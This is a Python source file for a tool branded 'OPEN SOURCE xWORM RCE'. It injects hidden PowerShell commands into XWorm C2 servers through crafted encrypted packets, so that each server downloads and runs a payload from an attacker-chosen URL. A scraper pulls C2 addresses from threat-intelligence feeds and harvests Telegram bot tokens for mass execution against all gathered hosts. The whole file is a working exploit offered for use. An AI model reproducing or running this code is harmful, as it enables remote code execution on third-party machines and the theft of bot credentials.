708 lines
25 KiB
Python
708 lines
25 KiB
Python
# don't sell 🥀
|
||
|
||
import os
|
||
import sys
|
||
import socket
|
||
import io
|
||
import random
|
||
import string
|
||
import hashlib
|
||
import threading
|
||
import traceback
|
||
import time
|
||
import requests
|
||
import re
|
||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||
from Cryptodome.Cipher import AES
|
||
from Cryptodome.Util.Padding import pad
|
||
from colorama import init, Fore, Back, Style
|
||
from bs4 import BeautifulSoup
|
||
|
||
init(autoreset=True)
|
||
|
||
DEFAULT_KEY = "<123456789>"
|
||
MAX_THREADS = 40
|
||
TIMEOUT_SECONDS = 6
|
||
print_lock = threading.Lock()
|
||
|
||
apikey = "put_here"
|
||
delay = 2.0
|
||
jitter = 0.5
|
||
dns_timeout = 3
|
||
session_c2s = set()
|
||
alreadyscraped = set()
|
||
already_found_bots = set()
|
||
sample_queue = []
|
||
|
||
IP_REGEX = r"(?!127\.\d+\.\d+\.\d+)(?!10\.\d+\.\d+\.\d+)(?!192\.168\.\d+\.\d+)(?!172\.(1[6-9]|2\d|3[0-1])\.\d+\.\d+)(?!169\.254\.\d+\.\d+)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})"
|
||
TELEGRAM_REGEX = r"https?://api\.telegram\.org/bot([0-9]+:[A-Za-z0-9_-]+)/sendMessage\?chat_id=(-?[0-9]+)"
|
||
C2_REGEX = rf"({IP_REGEX}|\w+(\.\w+)+):\d{{1,5}}"
|
||
|
||
http_session = requests.Session()
|
||
http_session.headers.update({
|
||
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
|
||
'Accept-Language': 'en-US,en;q=0.5',
|
||
})
|
||
|
||
SESSION = requests.Session()
|
||
HEADERS = {
|
||
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
|
||
'accept-language': 'en-GB,en;q=0.9',
|
||
'cache-control': 'max-age=0',
|
||
'priority': 'u=0, i',
|
||
'sec-ch-ua': '"Chromium";v="131", "Not-A.Brand";v="99"',
|
||
'sec-ch-ua-mobile': '?0',
|
||
'sec-ch-ua-platform': '"Linux"',
|
||
'sec-fetch-dest': 'document',
|
||
'sec-fetch-mode': 'navigate',
|
||
'sec-fetch-site': 'none',
|
||
'sec-fetch-user': '?1',
|
||
'upgrade-insecure-requests': '1',
|
||
'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
|
||
}
|
||
|
||
COOKIES = {
|
||
'_csrf': 'xworm',
|
||
}
|
||
|
||
def clear_console():
|
||
os.system("cls" if os.name == "nt" else "clear")
|
||
|
||
def print_banner():
|
||
print(f"""{Fore.RED}
|
||
██████╗ ██████╗███████╗ ██████╗ ██╗██████╗
|
||
██╔══██╗██╔════╝██╔════╝██╗ ██╔══██╗██║██╔══██╗
|
||
██████╔╝██║ █████╗ ╚═╝ ██████╔╝██║██████╔╝
|
||
██╔══██╗██║ ██╔══╝ ██╗ ██╔══██╗██║██╔═══╝
|
||
██║ ██║╚██████╗███████╗╚═╝ ██║ ██║██║██║
|
||
╚═╝ ╚═╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝╚═╝╚═╝
|
||
|
||
{Style.BRIGHT}{Fore.WHITE} OPEN SOURCE xWORM RCE • RCE.RIP{Style.RESET_ALL}""")
|
||
print(f"{Fore.LIGHTBLACK_EX}{'═' * 58}{Style.RESET_ALL}\n")
|
||
|
||
|
||
def print_section_header(title):
|
||
print(f"\n{Style.BRIGHT}{Fore.RED}[{title.upper()}]{Style.RESET_ALL}")
|
||
print(f"{Fore.LIGHTBLACK_EX}{'─' * 50}{Style.RESET_ALL}")
|
||
|
||
|
||
def print_status(status_type, message, details=None):
|
||
icons = {
|
||
'success': '✓',
|
||
'error': '✗',
|
||
'warning': '⚠',
|
||
'info': 'ℹ',
|
||
'progress': '●'
|
||
}
|
||
|
||
colors = {
|
||
'success': Fore.GREEN,
|
||
'error': Fore.RED,
|
||
'warning': Fore.YELLOW,
|
||
'info': Fore.CYAN,
|
||
'progress': Fore.BLUE
|
||
}
|
||
|
||
icon = icons.get(status_type, '•')
|
||
color = colors.get(status_type, Fore.WHITE)
|
||
|
||
timestamp = time.strftime("%H:%M:%S")
|
||
|
||
with print_lock:
|
||
base_msg = f"{color}[{timestamp}] {icon} {message}"
|
||
if details:
|
||
print(f"{base_msg} → {Style.DIM}{details}{Style.RESET_ALL}")
|
||
else:
|
||
print(base_msg + Style.RESET_ALL)
|
||
|
||
|
||
def prompt(text, default=None):
|
||
try:
|
||
styled_text = f"{Style.BRIGHT}{Fore.YELLOW}❯ {text}{Style.RESET_ALL}"
|
||
if default:
|
||
styled_text += f"{Style.DIM} (default: {default}){Style.RESET_ALL}: "
|
||
else:
|
||
styled_text += ": "
|
||
|
||
answer = input(styled_text).strip()
|
||
return answer if answer else default
|
||
except (KeyboardInterrupt, EOFError):
|
||
print_status('warning', "Operation cancelled by user")
|
||
sys.exit(0)
|
||
except Exception:
|
||
return default
|
||
|
||
|
||
def generate_id(length=8):
|
||
chars = string.ascii_uppercase + string.digits
|
||
return ''.join(random.choice(chars) for _ in range(length))
|
||
|
||
|
||
class Packet:
|
||
def __init__(self, *parts):
|
||
self.parts = parts
|
||
|
||
def to_bytes(self):
|
||
buffer = io.BytesIO()
|
||
buffer.write(b'<Xwormmm>'.join(self.parts))
|
||
return buffer.getvalue()
|
||
|
||
def send_encrypted(sock, packet, key):
|
||
try:
|
||
raw = hashlib.md5(key.encode()).digest()
|
||
cipher = AES.new(raw, AES.MODE_ECB)
|
||
data = pad(packet.to_bytes(), 16)
|
||
encrypted = cipher.encrypt(data)
|
||
|
||
sock.send(str(len(encrypted)).encode() + b'\0')
|
||
sock.send(encrypted)
|
||
|
||
return encrypted
|
||
except Exception as e:
|
||
print_status('error', f"Encryption failed: {str(e)}")
|
||
raise
|
||
|
||
|
||
def execute_target(host, port, secret, url):
|
||
session_id = generate_id()
|
||
|
||
try:
|
||
print_status('progress', f"Connecting to {host}:{port}")
|
||
sock = socket.socket()
|
||
sock.settimeout(TIMEOUT_SECONDS)
|
||
sock.connect((host, int(port)))
|
||
|
||
send_encrypted(sock, Packet(b'hrdp', session_id.encode()), secret)
|
||
|
||
url_lower = url.lower()
|
||
extension_map = {
|
||
'.bat': '.bat',
|
||
'.ps1': '.ps1',
|
||
('.js', '.jse', '.wsf'): '.js'
|
||
}
|
||
|
||
ext = '.exe'
|
||
for extensions, mapped_ext in extension_map.items():
|
||
if isinstance(extensions, tuple):
|
||
if url_lower.endswith(extensions):
|
||
ext = mapped_ext
|
||
break
|
||
else:
|
||
if url_lower.endswith(extensions):
|
||
ext = mapped_ext
|
||
break
|
||
|
||
filename = generate_id(5) + ext
|
||
|
||
commands = {
|
||
'.bat': (
|
||
f"start powershell -WindowStyle Hidden "
|
||
f"$u=\\\"{url}\\\";$o=\\\"$env:TEMP\\{filename}\\\";"
|
||
f"Invoke-WebRequest -Uri $u -OutFile $o;Start-Process cmd.exe -ArgumentList '/c %o%'"
|
||
),
|
||
'.ps1': f"start powershell -WindowStyle Hidden iex (irm '{url}')",
|
||
'.js': (
|
||
f"start powershell -WindowStyle Hidden "
|
||
f"$u=\\\"{url}\\\";$o=\\\"$env:TEMP\\{filename}\\\";"
|
||
f"Invoke-WebRequest -Uri $u -OutFile $o;Start-Process wscript.exe -ArgumentList $o"
|
||
),
|
||
'.exe': (
|
||
f"start powershell -WindowStyle Hidden taskkill /f /IM mstsc.exe;"
|
||
f"$u=\\\"{url}\\\";$o=\\\"$env:TEMP\\{filename}\\\";"
|
||
f"Invoke-WebRequest -Uri $u -OutFile $o;Start-Process cmd.exe -ArgumentList '/c %o%'"
|
||
)
|
||
}
|
||
|
||
cmd = commands.get(ext, commands['.exe'])
|
||
|
||
send_encrypted(
|
||
sock,
|
||
Packet(b'hrdp+', session_id.encode(), b' x', f"\" & {cmd}".encode(), b'x'),
|
||
secret
|
||
)
|
||
|
||
sock.close()
|
||
print_status('success', f"Command executed on {host}:{port}", f"Session: {session_id}")
|
||
return "Success"
|
||
|
||
except socket.timeout:
|
||
print_status('error', f"Connection timeout to {host}:{port}", "Check if target is reachable")
|
||
return "Timeout"
|
||
except ConnectionRefusedError:
|
||
print_status('error', f"Connection refused by {host}:{port}", "Target may be offline")
|
||
return "Connection Refused"
|
||
except Exception as e:
|
||
error_msg = str(e).split(':')[-1].strip()[:50]
|
||
print_status('error', f"Failed to execute on {host}:{port}", error_msg)
|
||
return "Failure"
|
||
|
||
|
||
def initialize_bot_detection():
|
||
global already_found_bots
|
||
if os.path.exists("bots.txt"):
|
||
with open("bots.txt", 'r') as f:
|
||
for line in f:
|
||
if "[TOKEN:CHATID]" in line:
|
||
parts = line.strip().split(" ", 1)
|
||
if len(parts) > 1:
|
||
already_found_bots.add(parts[1].strip())
|
||
print_status('info', f"Loaded {len(already_found_bots)} existing Telegram bots")
|
||
|
||
def initialize_scraped_cache():
|
||
global alreadyscraped
|
||
if os.path.exists("alreadyscraped.txt"):
|
||
with open("alreadyscraped.txt", 'r') as f:
|
||
alreadyscraped = set(line.strip() for line in f if line.strip())
|
||
print_status('info', f"Loaded {len(alreadyscraped)} already scraped C2s")
|
||
|
||
def analyze_telegram_patterns(content):
|
||
if not content:
|
||
return
|
||
matches = re.findall(TELEGRAM_REGEX, content)
|
||
urls = re.findall(r"(https?://api\.telegram\.org/bot[0-9]+:[A-Za-z0-9_-]+/sendMessage\?chat_id=[-0-9]+)", content)
|
||
for url in urls:
|
||
matches_from_url = re.findall(TELEGRAM_REGEX, url)
|
||
if matches_from_url:
|
||
matches.extend(matches_from_url)
|
||
for token, chat_id in matches:
|
||
bot_info = f"{token}:{chat_id}"
|
||
if bot_info not in already_found_bots:
|
||
already_found_bots.add(bot_info)
|
||
with open("bots.txt", 'a') as f:
|
||
f.write(f"[TOKEN:CHATID] {bot_info}\n")
|
||
print_status('success', f"Discovered Telegram bot: {bot_info}")
|
||
|
||
def validate_network_endpoint(host):
|
||
try:
|
||
if host.lower() in ('localhost', '0.0.0.0', '127.0.0.1'):
|
||
return False
|
||
if re.match(r'^(\d{1,3}\.){3}\d{1,3}$', host):
|
||
parts = host.split('.')
|
||
if all(0 <= int(part) <= 255 for part in parts):
|
||
return True
|
||
return False
|
||
socket.setdefaulttimeout(dns_timeout)
|
||
socket.gethostbyname(host)
|
||
return True
|
||
except:
|
||
return False
|
||
|
||
def scrape_threatfox():
|
||
headers = {'API-KEY': apikey, 'Content-Type': 'application/json'}
|
||
data = {"query": "get_iocs", "days": 7, "tag": "Xworm"}
|
||
try:
|
||
response = http_session.post('https://threatfox-api.abuse.ch/api/v1/', headers=headers, json=data, timeout=15)
|
||
response.raise_for_status()
|
||
result = response.json()
|
||
if result.get('query_status') == 'ok':
|
||
c2_servers = []
|
||
for ioc in result.get('data', []):
|
||
if 'description' in ioc:
|
||
analyze_telegram_patterns(ioc['description'])
|
||
if ioc.get('ioc_type') == 'ip:port':
|
||
c2_servers.append(ioc['ioc'])
|
||
print_status('info', f"Found {len(c2_servers)} C2 endpoints")
|
||
return c2_servers
|
||
return []
|
||
except:
|
||
print_status('error', "ThreatFox API query failed")
|
||
return []
|
||
|
||
def is_excluded_target(c2):
|
||
excluded_patterns = [r".*\.ip\.gl\.ply\.gg:.*", r".*\.gl\.at\.ply\.gg:.*"]
|
||
for pattern in excluded_patterns:
|
||
if re.match(pattern, c2):
|
||
return True
|
||
return False
|
||
|
||
def save_c2s(c2_servers):
|
||
if not c2_servers:
|
||
return 0
|
||
existing = set()
|
||
if os.path.exists("reports.txt"):
|
||
with open("reports.txt", 'r') as f:
|
||
existing = set(line.strip() for line in f if line.strip())
|
||
new_c2s = []
|
||
for c2 in c2_servers:
|
||
if c2 in session_c2s or c2 in existing or c2 in alreadyscraped or is_excluded_target(c2):
|
||
continue
|
||
if validate_c2_endpoint(c2):
|
||
new_c2s.append(c2)
|
||
session_c2s.add(c2)
|
||
alreadyscraped.add(c2)
|
||
if new_c2s:
|
||
with open("reports.txt", 'a') as f:
|
||
for c2 in new_c2s:
|
||
f.write(f"{c2}\n")
|
||
with open("alreadyscraped.txt", 'a') as f:
|
||
for c2 in new_c2s:
|
||
f.write(f"{c2}\n")
|
||
report_count = sum(1 for _ in open("reports.txt")) if os.path.exists("reports.txt") else 0
|
||
print_status('success', f"Added {len(new_c2s)} new C2 servers")
|
||
print_status('info', f"Total reports: {report_count}")
|
||
return len(new_c2s)
|
||
|
||
def validate_c2_endpoint(c2):
|
||
if "api.telegram.org/bot" in c2:
|
||
matches = re.findall(TELEGRAM_REGEX, c2)
|
||
for token, chat_id in matches:
|
||
bot_info = f"{token}:{chat_id}"
|
||
if bot_info not in already_found_bots:
|
||
already_found_bots.add(bot_info)
|
||
with open("bots.txt", 'a') as f:
|
||
f.write(f"[TOKEN:CHATID] {bot_info}\n")
|
||
print_status('success', f"Discovered Telegram bot: {bot_info}")
|
||
return False
|
||
if not c2 or ":" not in c2:
|
||
return False
|
||
host, port = c2.split(":", 1)
|
||
try:
|
||
port_num = int(port)
|
||
if port_num < 1 or port_num > 65535:
|
||
return False
|
||
except ValueError:
|
||
return False
|
||
if not host or len(host) < 3:
|
||
return False
|
||
if re.match(r"^(127\.\d+\.\d+\.\d+|10\.\d+\.\d+\.\d+|192\.168\.\d+\.\d+|172\.(1[6-9]|2\d|3[0-1])\.\d+\.\d+|169\.254\.\d+\.\d+)$", host):
|
||
return False
|
||
if is_excluded_target(c2):
|
||
return False
|
||
ip_pattern = r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$"
|
||
if re.match(ip_pattern, host):
|
||
parts = host.split('.')
|
||
if all(0 <= int(part) <= 255 for part in parts):
|
||
return True
|
||
return False
|
||
if '.' in host and not host.startswith('.') and not host.endswith('.'):
|
||
if any(pattern in host.lower() for pattern in [
|
||
'.ddns.org', '.duckdns.org', '.ddns.net', '.portmap.io', '.portmap.host',
|
||
'.no-ip.org', '.no-ip.biz', '.dyndns.org', '.ngrok.com',
|
||
'.localtunnel.me', '.serveo.net', '.hopto.org', '.myqnapcloud.com'
|
||
]):
|
||
return True
|
||
return True
|
||
return False
|
||
|
||
def parse_sample_configuration(html_content):
|
||
soup = BeautifulSoup(html_content, 'html.parser')
|
||
config = {}
|
||
for div in soup.select(".key-value > div"):
|
||
key = div.select_one(".config-entry-heading").text.strip()
|
||
value = None
|
||
for selector in [".clipboard > p", ".value-text"]:
|
||
value_element = div.select_one(selector)
|
||
if value_element:
|
||
value = value_element.text.strip()
|
||
break
|
||
if value is None:
|
||
code_block = div.select_one(".code-block")
|
||
if code_block and code_block.get("data-code-content"):
|
||
value = code_block["data-code-content"]
|
||
config[key] = value
|
||
return config
|
||
|
||
def fetch_pastebin_content(url):
|
||
if ":" in url and url.startswith("https://pastebin.com/raw/"):
|
||
url = url.split(":")[0]
|
||
try:
|
||
response = requests.get(url, timeout=10)
|
||
if response.status_code == 200:
|
||
return response.text.strip()
|
||
return None
|
||
except:
|
||
return None
|
||
|
||
def analyze_malware_sample(sample_id):
|
||
try:
|
||
response = SESSION.get(f"https://tria.ge/{sample_id.split('|')[1]}", cookies=COOKIES, headers=HEADERS, timeout=10)
|
||
analyze_telegram_patterns(response.text)
|
||
config = parse_sample_configuration(response.text)
|
||
c2_value = config.get("C2")
|
||
if not c2_value:
|
||
return
|
||
if "pastebin.com" in c2_value:
|
||
pastebin_url = c2_value if c2_value.startswith("https://pastebin.com/raw/") else f"https://pastebin.com/raw/{c2_value.split('/')[-1]}"
|
||
c2_value = fetch_pastebin_content(pastebin_url)
|
||
if not c2_value:
|
||
return
|
||
analyze_telegram_patterns(c2_value)
|
||
if c2_value in session_c2s or c2_value in alreadyscraped or is_excluded_target(c2_value):
|
||
return
|
||
if validate_c2_endpoint(c2_value):
|
||
session_c2s.add(c2_value)
|
||
alreadyscraped.add(c2_value)
|
||
with open("reports.txt", "a") as f:
|
||
f.write(c2_value + "\n")
|
||
with open("alreadyscraped.txt", "a") as f:
|
||
f.write(c2_value + "\n")
|
||
report_count = sum(1 for _ in open("reports.txt")) if os.path.exists("reports.txt") else 0
|
||
print_status('success', f"Extracted C2: {c2_value}")
|
||
print_status('info', f"Total reports: {report_count}")
|
||
except:
|
||
pass
|
||
|
||
def background_worker():
|
||
while True:
|
||
if sample_queue:
|
||
analyze_malware_sample(sample_queue.pop(0))
|
||
time.sleep(delay + random.uniform(0, jitter))
|
||
|
||
def continuous_sample_collection():
|
||
offset_params = {}
|
||
while True:
|
||
if len(sample_queue) > 20:
|
||
time.sleep(10)
|
||
continue
|
||
response = SESSION.get("https://tria.ge/s", params={"q": "family:xworm", "limit": 20, **offset_params}, cookies=COOKIES, headers=HEADERS, timeout=15)
|
||
sample_ids = []
|
||
html = response.text
|
||
for pos in [i for i in range(len(html)) if html.startswith('data-sample-id', i)]:
|
||
snippet = html[pos:pos+300]
|
||
try:
|
||
timestamp = snippet.split('h-datetime="')[1].split('"')[0]
|
||
sample_id = snippet.split('data-sample-id="')[1].split('"')[0]
|
||
sample_ids.append(f"{timestamp}|{sample_id}")
|
||
except:
|
||
continue
|
||
sample_queue.extend(sample_ids)
|
||
print_status('info', f"Sample queue updated: {len(sample_ids)} new entries")
|
||
if not sample_ids:
|
||
time.sleep(60)
|
||
offset_params = {}
|
||
else:
|
||
offset_params = {"offset": sample_ids[-1].split('|')[0]}
|
||
time.sleep(30)
|
||
|
||
def verify_connectivity():
|
||
try:
|
||
socket.gethostbyname("1.1.1.1")
|
||
return True
|
||
except:
|
||
return False
|
||
|
||
def run_scraper():
|
||
print_section_header("C2 Scraper Engine")
|
||
|
||
if not verify_connectivity():
|
||
print_status('error', "No internet connection detected")
|
||
return False
|
||
|
||
print_status('info', "Initializing scraper components...")
|
||
|
||
for filename in ['reports.txt', 'bots.txt', 'alreadyscraped.txt']:
|
||
if not os.path.exists(filename):
|
||
with open(filename, 'a') as f:
|
||
pass
|
||
|
||
initialize_scraped_cache()
|
||
initialize_bot_detection()
|
||
|
||
print_status('progress', "Starting ThreatFox scraping...")
|
||
c2_servers = scrape_threatfox()
|
||
save_c2s(c2_servers)
|
||
|
||
print_status('progress', "Starting continuous sample collection...")
|
||
threading.Thread(target=continuous_sample_collection, daemon=True).start()
|
||
|
||
print_status('progress', "Starting background workers...")
|
||
for _ in range(20):
|
||
threading.Thread(target=background_worker, daemon=True).start()
|
||
|
||
print_status('success', "Scraper engine is now operational...")
|
||
print_status('info', "Press Ctrl+C to stop scraping and return to main menu")
|
||
|
||
try:
|
||
while True:
|
||
time.sleep(60)
|
||
except KeyboardInterrupt:
|
||
print_status('warning', "Scraper stopped by user")
|
||
return True
|
||
|
||
|
||
def main():
|
||
clear_console()
|
||
print_banner()
|
||
|
||
print_section_header("Main Menu")
|
||
|
||
options = {
|
||
'1': ('rce', 'Remote Command Execution'),
|
||
'2': ('scraper', 'C2 Scraper Engine'),
|
||
'3': ('exit', 'Exit Application')
|
||
}
|
||
|
||
print(Style.BRIGHT + "Available options:")
|
||
for key, (option, description) in options.items():
|
||
print(f" {Fore.CYAN}{key}. {Style.BRIGHT}{option.upper()}{Style.RESET_ALL} - {description}")
|
||
|
||
choice = prompt("Select option [1-3]", "1")
|
||
|
||
if choice in options:
|
||
option = options[choice][0]
|
||
elif choice.lower() in ['rce', 'scraper', 'exit']:
|
||
option = choice.lower()
|
||
else:
|
||
option = 'rce'
|
||
|
||
if option == 'rce':
|
||
return run_rce()
|
||
elif option == 'scraper':
|
||
return run_scraper()
|
||
elif option == 'exit':
|
||
print_status('info', "Goodbye! Don't forget to turn on channel notifs <3")
|
||
return True
|
||
else:
|
||
print_status('error', f"Unknown option: {option}")
|
||
return False
|
||
|
||
def run_rce():
|
||
clear_console()
|
||
print_banner()
|
||
|
||
print_section_header("File URL Configuration")
|
||
url = prompt("Enter file URL to execute")
|
||
|
||
if not url:
|
||
print_status('error', "File URL is required")
|
||
return False
|
||
|
||
if not url.startswith(('http://', 'https://')):
|
||
print_status('warning', "URL should start with http:// or https://")
|
||
confirm = prompt("Continue anyway? [y/N]", "n").lower()
|
||
if confirm not in ['y', 'yes']:
|
||
return False
|
||
|
||
print_section_header("Execution Mode Selection")
|
||
|
||
modes = {
|
||
'1': ('specific', 'Target a specific host'),
|
||
'2': ('scrape', 'Execute on multiple targets from file')
|
||
}
|
||
|
||
print(Style.BRIGHT + "Available modes:")
|
||
for key, (mode, description) in modes.items():
|
||
print(f" {Fore.CYAN}{key}. {Style.BRIGHT}{mode.title()}{Style.RESET_ALL} - {description}")
|
||
|
||
choice = prompt("Select mode [1-2]", "1")
|
||
|
||
if choice in modes:
|
||
mode = modes[choice][0]
|
||
elif choice.lower() in ['specific', 'scrape']:
|
||
mode = choice.lower()
|
||
else:
|
||
mode = 'specific'
|
||
|
||
try:
|
||
if mode == 'specific':
|
||
print_section_header("Single Target Configuration")
|
||
|
||
host = prompt("Target Host")
|
||
port = prompt("Target Port")
|
||
key = prompt(f"Encryption Key", DEFAULT_KEY)
|
||
|
||
if not host or not port:
|
||
print_status('error', "Host and port are required")
|
||
return False
|
||
|
||
try:
|
||
result = execute_target(host, port, key, url)
|
||
return result == "Success"
|
||
except Exception as e:
|
||
print_status('error', f"Execution failed: {str(e)}")
|
||
return False
|
||
|
||
elif mode == 'scrape':
|
||
print_section_header("Multiple Target Execution")
|
||
|
||
try:
|
||
with open("reports.txt", 'r') as f:
|
||
lines = f.read().splitlines()
|
||
except FileNotFoundError:
|
||
print_status('error', "reports.txt file not found", "Create the file with host:port entries")
|
||
return False
|
||
except Exception as e:
|
||
print_status('error', f"Error reading reports.txt: {str(e)}")
|
||
return False
|
||
|
||
targets = []
|
||
for line_num, line in enumerate(lines, 1):
|
||
line = line.strip()
|
||
if not line or line.startswith('#'):
|
||
continue
|
||
|
||
if ':' not in line:
|
||
print_status('warning', f"Invalid format at line {line_num}: {line}")
|
||
continue
|
||
|
||
try:
|
||
host, port = line.split(':', 1)
|
||
targets.append((host.strip(), port.strip()))
|
||
except ValueError:
|
||
print_status('warning', f"Could not parse line {line_num}: {line}")
|
||
|
||
if not targets:
|
||
print_status('error', "No valid targets found in reports.txt")
|
||
return False
|
||
|
||
print_status('info', f"Loaded {len(targets)} targets from reports.txt")
|
||
|
||
confirm = prompt(f"Execute on {len(targets)} targets? [y/N]", "n").lower()
|
||
if confirm not in ['y', 'yes']:
|
||
print_status('warning', "Execution cancelled by user")
|
||
return False
|
||
|
||
print_status('progress', f"Starting execution with {MAX_THREADS} threads")
|
||
|
||
successful = 0
|
||
failed = 0
|
||
|
||
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
|
||
future_to_target = {
|
||
executor.submit(execute_target, host, port, DEFAULT_KEY, url): (host, port)
|
||
for host, port in targets
|
||
}
|
||
|
||
for future in as_completed(future_to_target):
|
||
host, port = future_to_target[future]
|
||
try:
|
||
result = future.result()
|
||
if result == "Success":
|
||
successful += 1
|
||
else:
|
||
failed += 1
|
||
except Exception as e:
|
||
print_status('error', f"Unexpected error for {host}:{port}", str(e))
|
||
failed += 1
|
||
|
||
print_section_header("Execution Summary")
|
||
print_status('success', f"Successfully executed: {successful}")
|
||
print_status('error', f"Failed executions: {failed}")
|
||
print_status('info', f"Total targets: {len(targets)}")
|
||
|
||
return successful > 0
|
||
else:
|
||
print_status('error', f"Unknown mode: {mode}")
|
||
return False
|
||
|
||
except KeyboardInterrupt:
|
||
print_status('warning', "Operation interrupted by user")
|
||
return False
|
||
except Exception as e:
|
||
print_status('error', f"Unexpected error: {str(e)}")
|
||
return False
|
||
|
||
|
||
if __name__ == "__main__":
|
||
try:
|
||
success = main()
|
||
if success:
|
||
print_status('info', "RCE completed successfully")
|
||
else:
|
||
print_status('warning', "RCE completed with errs")
|
||
except KeyboardInterrupt:
|
||
print_status('warning', "Operation cancelled by user")
|
||
except Exception as e:
|
||
print_status('error', f"Unexpected error: {str(e)}")
|
||
traceback.print_exc()
|